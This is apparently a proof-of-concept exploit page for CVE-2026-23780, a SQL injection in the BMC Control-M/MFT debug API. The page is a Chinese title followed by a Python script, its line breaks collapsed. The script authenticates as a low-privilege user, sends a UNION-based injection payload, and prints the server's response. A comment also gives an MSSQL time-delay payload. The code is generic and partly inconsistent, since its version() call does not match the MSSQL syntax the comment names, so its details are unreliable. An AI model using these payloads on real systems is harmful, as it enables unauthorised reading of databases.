CVE-2026-23780 BMC Control-M/MFT SQL注入漏洞

# PoC for CVE-2026-23780: BMC Control-M/MFT SQL Injection # This script demonstrates the vulnerability in the debug interface. import requests import sys # Target URL (replace with actual target) target_url = "https://<target-host>:<port>/mft/api/debug" # Valid credentials are required (PR:L) username = "low_priv_user" password = "password" # Login to get session token (simplified) session = requests.Session() login_payload = {"username": username, "password": password} login_resp = session.post(f"{target_url}/login", json=login_payload) if login_resp.status_code != 200: print("[!] Authentication failed.") sys.exit(1) print("[+] Authentication successful.") # Malicious SQL Injection Payload # Attempting to perform a time-based blind injection or file read # Example: ' OR 1=1; WAITFOR DELAY '0:0:5'-- (for MSSQL) payload = { "operation": "get_logs", "id": "1' UNION SELECT NULL, NULL, NULL, version()-- " } headers = {"Content-Type": "application/json"} try: print(f"[*] Sending payload to {target_url}...") response = session.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL output.") print("[+] Response:", response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")